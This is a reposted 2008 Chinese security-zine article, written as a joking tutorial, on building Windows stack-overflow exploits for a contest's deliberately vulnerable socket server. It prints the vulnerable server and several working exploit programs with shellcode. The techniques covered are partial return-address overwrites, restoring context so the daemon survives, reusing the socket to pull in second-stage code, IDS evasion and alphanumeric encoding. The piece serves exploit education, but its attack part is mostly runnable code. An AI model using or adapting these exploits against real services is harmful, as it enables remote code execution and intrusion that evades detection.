posts - 94, comments - 250, trackbacks - 0, articles - 0
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

做一个优秀的木匠

Posted on 2008-08-15 09:24 Condor 阅读(200) 评论(0)  编辑 收藏 引用

                          ==Ph4nt0m Security Team==
                       Issue 0x01, Phile #0x03 of 0x06

|=---------------------------------------------------------------------------=|
|=---------------------=[       做一个优秀的木匠      ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[           By F.Zh             ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|

    [本文内容可能会伤及到部分名人粉丝感情,作者表示仅为插科打诨之用,并无恶意]
    有副图描述了从发现漏洞到最后盈利的过程,大概意思是研究人员发现了房子的漏洞,木
匠针对漏洞造了一个梯子,最后脚本小子进屋偷东西。国内的圈子里面,玩票性质的安全爱好
者大多不愿意做脚本小子,同时也不见得有足够的时间去找房子的漏洞,所以闲暇时候基本上
做做木匠活当消遣。但木匠也是有三六九等的,有朱由校,有鲁班,也有就只能给地主老财家
做楠木棺材的。作为一个有职业道德的木匠,显然应该努力向前面两个靠拢,因为只能做做楠
木棺材的,未免也太失面子了。

    这篇文章就从国内某著名破解论坛搞的科普竞赛开始,由一个楠木棺材级别的木匠挣扎
着介绍一下放眼能够看到的技巧。在切入正题前,有必要介绍一下科普竞赛的背景和结果:
大约是看到windows漏洞太值钱,破解组织也开始搞起了逆向和exploit,而且还以竞赛的方
式来引起非木匠的关注。科普竞赛的题目是两道,如Sowhat所说
(http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道题是
可以Google到的,而第一道题显然是个送分题,因此科普竞赛实际上是个比手快的过程。最
后结果是nop拿了第一,这个名字让人不禁联想到了五一国际劳动节和革命先烈鲜血的颜色,
当然,我们依然怀着无比的敬仰和美好的期望,希望这个nop不是职业运动员参加了业余比赛。
    先看看存在问题的程序。逆向很简单,但是为了方便,还是直接给出官方公布的源代码。
具有严重自虐倾向的木匠请编译后用ida逆向一下,并自备低温蜡烛和爱心小皮鞭。
========================和谐的分割线=================================
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
  char msg[200];
  strcpy(msg,buf);// overflow here, copy 0x200 to 200
  cout<<"********************"<<endl;
  cout<<"received:"<<endl;
  cout<<msg<<endl;
}
void main()
{
  int sock,msgsock,lenth,receive_len;
  struct sockaddr_in sock_server,sock_client;
  char buf[0x200]; //noticed it is 0x200
  WSADATA wsa;
  WSAStartup(MAKEWORD(1,1),&wsa);
  if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
  {
    cout<<sock<<"socket creating error!"<<endl;
    exit(1);
  }
  sock_server.sin_family=AF_INET;
  sock_server.sin_port=htons(7777);
  sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
  if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
  {
    cout<<"binding stream socket error!"<<endl;
  }
  cout<<"**************************************"<<endl;
  cout<<"     exploit target server 1.0     "<<endl;
  cout<<"**************************************"<<endl;
  listen(sock,4);
  lenth=sizeof(struct sockaddr);
  do{
    msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
    if(msgsock==-1)
    {
      cout<<"accept error!"<<endl;
      break;
    }
    else
      do
      {
        memset(buf,0,sizeof(buf));
        if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
        {
          cout<<"reading stream message erro!"<<endl;
          receive_len=0;
        }
        msg_display(buf);//trigged the overflow
      }while(receive_len);
      closesocket(msgsock);
  }while(1);
  WSACleanup();
}
========================和谐的分割线=================================
    如注释所言,这里是误把0x200长度的往200字符串里面拷贝了。其实这个问题并不具有
代表性,比尔叔叔的手下们把widechar的长度算错过,把栈上的变量当堆释放过,把用户给的
地址内容加1过,唯独没有昏到把16进制和10进制搞混。不过既然主办方这样写,我们也就这
样看吧。实际上逆向出来后,作为一个模板可以覆盖ret,然后code page里面找jmp esp,然
后这样那样,很简单就搞定exp了。尽管在冠军的答案中看到了这种方法的影子,楠木棺材级
木匠还是要挥舞着手中的锯子说,这种程度只能去做洗脚盆。

    好吧,那我们一步一步地看如果从洗脚盆程度提升到楠木棺材级别,并展望一下更高的
层次。
    首先是获取CPU的控制权问题。

    dark spyrit在某期Phrack(记不清楚了)上提出可以用系统加载的dll上的指令码来跳
转并获得控制权。这里有一个前提,因为很巧的你覆盖了一大堆东西后,ret退栈后esp指向
你能够控制的代码,因此用一个jmp esp可以跳过来执行,剩下就是编写shellcode。但是,
并不是说就只能用这个方法,或者说这个方法就最好。dark spyrit最大的贡献是提出了一
个通用的方法,同马列主义毛泽东思想邓小平理论三个代表八荣八耻一样,虽然是放之四海
而皆准的真理,不过到了中国,还是要要结合具体的国情来开展工作。拿jmp esp的东西往
机器上一跑,不同的操作系统版本怎么办,/3gb模式怎么办?做洗脚盆的确可以区分着做出
男用女用小孩用人妖用的,但是可能拿去用的人是超女的冠军,如果事先你不知道名字,只
看长相,你说到底给那个盆子好?

    所以造梯子的时候,最好还是根据实际情况来。一般来说,栈溢出时,对栈上的破坏情
况不是很严重的话,在栈区域上可以看到很多上层函数的局部变量,而且这些局部变量往往
是很有用的,比如凑巧就是你那个字符串的指针等。打栈上变量的主意有几个好处,首先你
可以用其他更稳定的方法跳转到恶意字符串的开头,其次这可以给你多一些字节空间来存放
shellcode,最后还可以防止一些ids/ips的检测。我们可以用下面一个简单的图示来把这
三个优势混杂起来说明一下。
<--lower                                                upper-->
================================================================
var of vulnerable function   |  ret  |  var of upper function ...
================================================================
NOP NOP NOP NOP NOP NOP NOP  |jmp esp|  shellcode
================================================================
shellcode                    |jmp  ? |  var of upper function
================================================================

    第二行是马列主义方法,你一定会覆盖到ret,然后继续覆盖起码2个字节(eb xx往回跳转)。
因此一些ids/ips的signature就写了,如果你超过xxoo个字节,就阻止发送。就算写得不好
的signature起码也会检查你是否覆盖到了ret的四个字节,一些更严格的甚至只要覆盖到ret
的第一个字节就报警,对于这样的情况,马列主义方法肯定是被扼杀了,但是第三行的具体国
情方法还有一线机会逃脱检测,我们根本不用覆盖完ret的四个字节,只要利用栈上的变量,
找一些特定的字节码就可以了。

    说到这里还可以插播一个事情,去年一月份泄露出来的.ani溢出的exp,大家对那个覆
盖了低两位的exp惊叹不已。这就是一个很好的例子:第一,你用最小的字节数完成了功能,
最大限度避免了ids等的问题。第二,这个方法的稳定性还好。这样说其实是很抽象的,我们
还是回到科普竞赛的代码上来看。

    调用msg_display的时候传递进来了一个参数,在栈上表现出来是这个参数是紧接着ret
地址后面的,如果我们仅覆盖到了ret地址,当CPU执行完msg_display返回时,esp刚好指向
这个参数,这个时候只需要一个能达到jmp [esp]功能的地址,就能准确跳转到我们传入的
字符串上去,显然,满足这个条件最好的指令就是0xc3(ret)。下面这个图简单地说明了这
个问题。
<--lower                                                              upper-->
=============================================================================
var of vulnerable function  |  ret  |  ptr  | other var of upper function ...
=============================================================================
^---------------------------------------|

    把图中的ret用一个内容为0xC3的地址A来覆盖,当msg_display返回时,返回到了A地址,
再执行了一次0xC3(ret)指令,eip就跳到了字符串的开头。

    这里的情况还是很简单的,实际exploiting中也许这个ptr离ret还有点距离,可能需要
你pop几次,这个形式上同覆盖seh的利用方法相同,也算是一个巧合吧。

    然后来说说0xC3地址的寻找。首先很遗憾的,如果你想用四个字节完全覆盖ret地址,
没有一个通用地方。msvcrt.dll在相同sp的不同语言系统中相对固定,code page在相同语
言不同版本系统中相对固定。注意,这里只是相对,碰上些特殊的情况,可能这些平时通用
的地址根本就是无效的地址。再严格一些,如果这里地址必须符合某种编码规范,也许你更
难找到可用的地址,更别说通用了。

    洗脚盆级别的木匠到这里估计要晕倒了,棺材匠级别的应该还有点办法,两个解决方案:

    第一、找一个替代产品来满足编码规范。比如0x7ffa1571是你要找的pop pop ret,没
必要一定要用0x7ffa1571,也许用0x7ffa156e也可以,只要pop pop ret前面的指令无伤大
雅就是。一个实际的例子是泄露出来的realplayer import那个,要找pop pop ret,但是符
合编码规范的范围内找不到,作为替代找了一个 call xxx/ret xx,而且刚好call xxx还不
会让程序崩溃。

    第二、缩小覆盖面积。覆盖4个字节太痛苦了,少覆盖几个字节吧。x86的DWORD是低位
在上的,所以你顺序覆盖的时候,首先覆盖了ret地址的低位。正常的ret值是返回到某个pe
文件中,比如00401258,如果覆盖一个字节,那可能的地址范围是00401201~004012ff,如果
覆盖2个字节,可能的地址范围在00400101~0040ffff。这么大的范围内一般容易找到满足
要求的地址,而且更重要的是,pe文件版本固定的话,尽管加载的基地址可能会变化,但是由
于基地址有个对齐的要求,低位(两个字节或更多)完全固定,这实际上是一个很好的提高稳
定性的方法。现实中memcpy导致的问题用这种方法更有效,strcpy的麻烦些,不过好在只要
说明问题就是,这里也不深究过多。马上给出第一个代码。
========================和谐的分割线=================================
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
SOCKET ConnectTo(char *ip, int port)
{
    SOCKET s;
    struct hostent *he;
    struct sockaddr_in host;
    if((he = gethostbyname(ip)) == 0)
        return INVALID_SOCKET;
    host.sin_port = htons(port);
    host.sin_family = AF_INET;
    host.sin_addr = *((struct in_addr *)he->h_addr);
    if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1)
        return INVALID_SOCKET;
    if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
    {
        closesocket(s);
        return INVALID_SOCKET;
    }
    return s;
}

void main()
{
    char malicious[] =  "\xcc"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "OA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);  //hard encoded :)
    WSACleanup();
}
========================和谐的分割线=================================

    执行下顺利到达int3指令。

    构造exp的过程本身是简单的,关键在shellcode实现功能上。洗脚盆木匠到这一步基本
上就是找一个shellcode来用。作为一个有职业道德的棺材级木匠,可能还应该有点更高的
追求:好的梯子除了能够通用而精确地干掉存在漏洞的机器外,同时还要方便使用者,绕过
防火墙,而且还要尽可能少地影响到守护进程。对于网络程序,理想的情况是复用端口,终
极目标是复用完了还不挂,后续的使用者能够正常使用守护进程的功能。后一点听起来似
乎有点不可思议,而且流传在外面的各种exp,好像还罕有牛到这种程度,不过说穿了也没什
么奇怪的,棺材级的木匠一般都能做到,只是马桶级木匠更喜欢散布马桶级exp而已。我们
把复用端口的问题留在后面,先聊聊如何让守护进程不挂掉这个事情。

    要程序不挂,最简单的办法就是恢复溢出时候的上下文,然后返回去。通常jmp esp的方
法因为覆盖得太多,栈给洗脚盆木匠搞得一团糟,影响了太多上级函数的变量,导致根本没有
什么好办法可以恢复。这个时候,尽可能少覆盖的优势出来了:由于最大限度地保存了上层
函数局部变量,所以要做的就是恢复相关寄存器的值,然后寻找正常流程应该返回的地址,跳
转回去即可。对于这里这个简单的daemon,我们甚至可以硬编码返回地址。还是把例子给出
来,说明一下问题先。

========================和谐的分割线=================================
char malicious[] =
"\xCC"
"LLLL`a"
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"OA@";
========================和谐的分割线=================================

    同前面一个代码相同,0xCC为了调试方便,改成0x90后再编译执行下,可以看见守护进程
完全恢复了,你还可以telnet 7777过去正常执行功能,和没有发生过问题一样。这里恢复的
代码用了一点小技巧,有兴趣的木匠可以仔细看看,代码`和a分别是pushad和popad,在这两
个中间可以放置任何功能的shellcode,不影响整体的框架。

    例子虽然简单,但是我建议读到这里的木匠还是跟进去看一下流程。由于这个实例比
较直观,代码就简单恢复了上下文然后跳到正常地方执行,对于复杂点的代码,可能需要多
费一点手脚,但是大体思路和步骤还是可以确定的:首先收集一个正常执行完出问题代码的
寄存器和栈状态;然后确定要返回的地址,搜索或者硬编码,返回的地方可以是上一层,也可
以返回上几层,甚至无耻地跳到入口让程序重新执行一次都可以;最后将恢复的代码编码成
shellcode,加在正常功能shellcode的后面。

    让守护进程不挂也做到了,接着看看端口复用的情况。
    最简单的网络程序保留有一个SOCKET来通讯,很多已有的文章讨论了如何找到当前的
SOCKET。最常用的方法是枚举所有可能的值,然后发送特征字符串来确认。也有人hook
recv,通过稍微被动一点的方法来获得SOCKET。当然这些都是懒人用的通用方法,对于特定
的程序,简单而又稳妥的方法是直接找栈上的变量,消耗的代码少,而且一次性就能找到。
如果编译优化的时候没有具体分配栈上的空间给这个socket,则它一定会被保存在某个寄
存器里面,那就更简单了。针对具体的情况,像recv之类的函数也没有必要用很长的通用代
码去搜索,只要在PE文件里面找找就成。具体的实现细节我们省略掉,给出代码,直接跟进
去看看就知道了。

========================和谐的分割线=================================

void main()
{
    char malicious[] =  "\x90"
                    "LLLL`"
                    "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                    "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                    "\x10\x03\xe2"
                    "a"
                    "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                    ""
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "OA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);

    send(s, "\xCC\xC3",2,0);
    Sleep(-1);
    WSACleanup();
}
========================和谐的分割线=================================

    这里直接复用了当前的SOCKET,再次调用recv收了一段shellcode来执行,也就是后面看
到的"\xCC\xC3"。自己再写个简单的shellcode就是,基本没有难度,只是注意要平衡栈,最
后用个0xc3结尾。比较见鬼的是这个守护进程有recv但是没有send,所以shellcode里面你
必须自己找到send的地址……娘西皮,还带这样玩的啊。

    其他情况下的复用还有一些其他的方法,比如IIS 5这一类的,比如RPC一类的。前者寻
找一个结构,后者hook一个函数,伪造或者搜索一个同时有in和out的opnum,具体细节baidu
上能够搜索到,限于篇幅这里也不再废话了。如果对方是其他完成端口形式,比如ORACLE,只
能暴力点shutdown掉当前监听,自己来监听一个。当然,也有没什么好方法的,比如IIS6。

    上面的过程省略了没有技术含量的shellcode编写过程,主要说的是一些步骤,方法和技
巧。稳定,复用,还有不挂掉守护进程,都作到了,洗脚盆也成功升级为了棺材匠,还有什么可
以做的呢?

    美观!这个shellcode简直不是一般的难看,混杂了可读的字符和不可读的字符,简直是
丑陋不堪!你说一个木匠会把棺材做的全是毛刺么,不会雕龙刻凤的木匠永远是二流的。对
于木匠来说,终极的目标是将一个exp发挥到极致,对于这样简单的一个情况,要用所有可见
的字符,最好尽可能都是字母,甚至exp都不用,直接用个telnet就可以溢出获得shell了。

    不可能么?当然是可能的,人有多大胆地有多大产,钱老还论证过亩产万斤是可行的呢。
那么,还是给个sample。

void main()
{
    char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
            "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
            "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
            "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
            "AAAOA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);

    send(s, "\xCC\xC3",2,0);
    Sleep(-1);
    WSACleanup();
}

    这里两段shellcode,我们主要解决第一步的问题。要说明malicious到底是个什么东西,
牵扯的面就太广了,我们假设看文章的木匠都是有汇编功底的,而且愿意反汇编进去看一下,
就简单的提提,因为要写这个shellcode的构造,那又是一篇文章。shellcode里面首先平衡
栈,然后对栈进行一些patch,patch出想要的指令,然后对后续数据进行解码操作,最后再执
行。

    这个code,运行顺利可以抓到一个0xCC,也就是第二个send的。但是,ret后守护进程还
是挂了。

    为了美观,我们exp的工作必须重头再来。开始我们把姿态定得很低,目的是说明问题,
现在把最重要的几步都解决了,又回到了原点,各位木匠们,现在可以动起手来写一下完全符
合可见字符编码的,复用当前SOCKET的第二段shellcode了。按照前面的步骤,应该不是很难
的事情,让守护进程不挂也是可以的,malicious代码保留了革命的火种,发生溢出时的寄存
器值,都保留在上面,剩下一点工作,只是比写普通shellcode稍微多费点劲的活,不想试试看
么。

    最后再卖个关子,棺材木匠说过,最终是可以由telnet提交的获得shell,连exp都不用的。
telnet是一个字符一个字符提交的,有没有什么一次性提交203个字节导致第一次溢出呢?可
以的,守护进程只有一个线程,打打这方面的主意,用个小技巧吧。

-EOF-


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理